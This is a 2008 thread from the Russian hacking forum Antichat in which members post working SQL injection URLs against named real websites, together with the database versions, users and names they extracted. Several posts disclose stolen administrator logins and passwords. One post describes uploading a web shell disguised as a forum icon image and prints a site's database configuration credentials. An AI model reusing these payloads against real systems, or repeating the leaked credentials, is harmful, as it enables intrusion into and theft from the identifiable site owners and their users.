ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6041  
Старый 18.07.2008, 21:21
Аватар для Calcutta
Calcutta
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
Провел на форуме:
2584838

Репутация: 770
Отправить сообщение для Calcutta с помощью ICQ
По умолчанию

http://kadabraabra.info/newslenta.php?men=4573+union+select+1,2,concat_ws( 0x3a,table_name),4,5,6,7+from+information_schema.t ables+limit+0,1--

скорость до сайта ужасная, раскручивать очень долго Х_х
 
Ответить с цитированием

  #6042  
Старый 18.07.2008, 21:34
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

http://www.etc-llibres.com/pg.php?id=1&ic=-1/**/union/**/select/**/concat(user(),char(0),database(),char(0),version() ),2/*
http://www.screenroom.co.uk/php/id.asp?id=1/**/or/**/1=(select%20db_name())--
http://www2.mat.dtu.dk/people/uk.php?id=-1/**/union/**/select/**/1,user()--
 
Ответить с цитированием

  #6043  
Старый 18.07.2008, 22:36
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Ian.cc - PR 4
Цитата:
http://www.ian.cc/notas/noticias_ian.php?id=-557+union+select+1,2,3,unhex(hex(version())),5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36/*

Последний раз редактировалось sabe; 18.07.2008 в 22:56..
 
Ответить с цитированием

  #6044  
Старый 19.07.2008, 20:22
Аватар для Zircool
Zircool
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496

Репутация: 78
Отправить сообщение для Zircool с помощью ICQ
По умолчанию

ucluba.ru

Цитата:
http://afisha.ucluba.ru/viewEvent.php?e=-1+union+select+1,2,3,concat(login,char(58),passwor d),5,6+from+admin_users+limit+0,1/*
Crazy:667788 - логин и пароль админа.
Админка находится по адресу.

Цитата:
http://ucluba.ru/admin.php
 
Ответить с цитированием

  #6045  
Старый 19.07.2008, 23:25
Аватар для warlok
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

_http://ks.intercom.ru/news/?id=-75+union+select+1,2,3,version(),5,6/*
version() - 4.0.17
user() - intercom@localhost
database() - intercom
 
Ответить с цитированием

  #6046  
Старый 20.07.2008, 14:10
Аватар для %00
%00
Новичок
Регистрация: 06.05.2008
Сообщений: 27
Провел на форуме:
282692

Репутация: 132
По умолчанию

www.castlerockgc.co.uk pr 3
Код:
http://www.castlerockgc.co.uk/index.php?id=-10/**/union/**/select/**/1,2,version(),4/*
4.1.22-standard
 
Ответить с цитированием

  #6047  
Старый 20.07.2008, 16:26
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

EDU

Цитата:
http://ae.msstate.edu/site/pages/department/curriculums.php?q=-5+UNION+SELECT+1,concat_ws(char(58),user(),version (),database()),3/*
Database Version: 4.0.20-max
Database name: ae_webpage
User name: webpage@localhost

побрутил таблицы, ничего не брутанулось обычным словарем.
 
Ответить с цитированием

  #6048  
Старый 21.07.2008, 03:22
Аватар для tor4)
tor4)
Познающий
Регистрация: 27.05.2008
Сообщений: 51
Провел на форуме:
611529

Репутация: 41
По умолчанию

cms bitrixs

http://www.romantrahtenberg.ru/


http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5,6,7,8,9,10,11,version (),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32/*

Цитата:
4.1.20
Подобрать не получилось, (((
 
Ответить с цитированием

  #6049  
Старый 21.07.2008, 03:37
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

Цитата:
Сообщение от tor4)  
cms bitrixs

http://www.romantrahtenberg.ru/


http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5,6,7,8,9,10,11,version (),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32/*



Подобрать не получилось, (((
там 5 колонок

Код:
http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5/*
 
Ответить с цитированием

  #6050  
Старый 21.07.2008, 04:43
Аватар для slider
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

гы этж битрикс.... ))
прева b_ , таблы login и пассворд


_http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+CON CAT(login,char(59),password)+FROM+b_user+LIMIT+0,1 )),0x71),0x71),18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32/*

Цитата:
admin;5d93ceb70e2bf5daa84ec3d0cd2c731a;qwer1234
Валим в админку .... и через смалики на форуме заливаемс элегантный шелленг:

_http://www.romantrahtenberg.ru/bitrix/images/forum/icon/mod_abble.php.gif


конфиги:

Цитата:
$DBHost = "localhost";
$DBLogin = "trax";
$DBPassword = "8gB1Q83N";
$DBName = "trax";

Последний раз редактировалось slider; 21.07.2008 в 04:48..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ